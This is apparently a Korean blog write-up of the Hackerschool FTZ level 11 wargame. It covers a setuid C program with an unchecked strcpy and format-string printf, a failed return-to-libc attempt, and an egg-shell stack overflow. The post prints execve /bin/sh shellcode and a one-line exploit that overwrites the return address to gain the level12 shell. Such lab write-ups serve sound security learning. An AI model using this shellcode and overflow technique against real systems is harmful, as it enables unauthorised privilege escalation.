hackerschool 문제/FTZ

[Hackerschool FTZ] - level 11 문제

Roronoa 2022. 11. 23. 05:33
반응형

문제 내용

[그림 1] 힌트 파일 내용

힌트 파일을 확인해보니 코드가 들어가있다. 코드를 해석해 보겠다.

힌트 코드

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
        char str[256];

        setreuid( 3092, 3092 );
        strcpy( str, argv[1] );
        printf( str );
}

str배열이 256바이트만큼 선언되었고 setreuid로 3092로 Real User ID(실제 사용자), Effective User ID(유효 사용자)를 설정해주었다.

strcpy로 str에 argv[1]을 복사한다. 그리고 str을 출력한다.

여기서 strcpy는 길이를 검증하지 않기때문에 길이보다 많은 데이터 값을 입력하면 버퍼를 넘어서 다른 메모리영역까지 침범할 수 있다. 버퍼를 넘어 SFP에서 RET값을 변조한다면 level12의 쉘을 획득할 수 있을것이다.

 

/bin/sh 위치 찾기

https://wyv3rn.tistory.com/35

 

/bin/sh 문자열 주소 찾는 방법.

사실 /bin/sh 문자열만 찾는 것은 아니며 이를 활용해서 여러 함수의 주소를 찾을 수 있다. gdb에서 찾기. 보통 system 함수와 함께 쓰이므로 아래와 같이 찾을 수 있다. gef➤ find &system,+999999999,"/bin/sh"

wyv3rn.tistory.com

[그림 2] ldd 명령어 결과

ldd명령어 지정한 프로그램의 라이브러리 의존성을 확인할 때 사용한다.

파일에서 사용된 libc 버전을 확인하였다.

 

[그림 3] strings 명령어

strings 명령어는 실행파일의 ASCII문자를 찾아 출력하는 명령어이다.

strings의 옵션 -tx를 통해 /bin/sh의 위치를 16진수로 출력하였다.

이렇게 시도하였지만 실패하였다.

 

다음방법이다!!

환경변수를 이용한 버퍼오버플로우 공격이다(에그쉘)

[그림 4] 환경변수에 쉘코드 삽입

환경변수에 쉘 코드를 삽입하였다.

쉘 코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

그다음 환경변수 SHELLCODE의 주소를 알아야한다.

 

#include<stdio.h>

int main(){
        printf("address : %p\n",getenv("SHELLCODE"));
        return 0;
}

해당 코드를 통해 환경변수의 주소를 출력한다.

[그림 5] 환경변수 SHELLCODE 주소 출력
[그림 6] 쉘 획득

디렉토리를 이동한후 환경변수 SHELLCODE의 주소를 보니 변경이 되어있었다.

변경된 주소로 버퍼오버플로우를 공격하니 공격에 성공하여 권한상승을 하였다.

 

exploit code

./attackme `python -c 'print "A"*268 + "\x33\xfc\xff\xbf"'`

 

level12 password

it is like this
반응형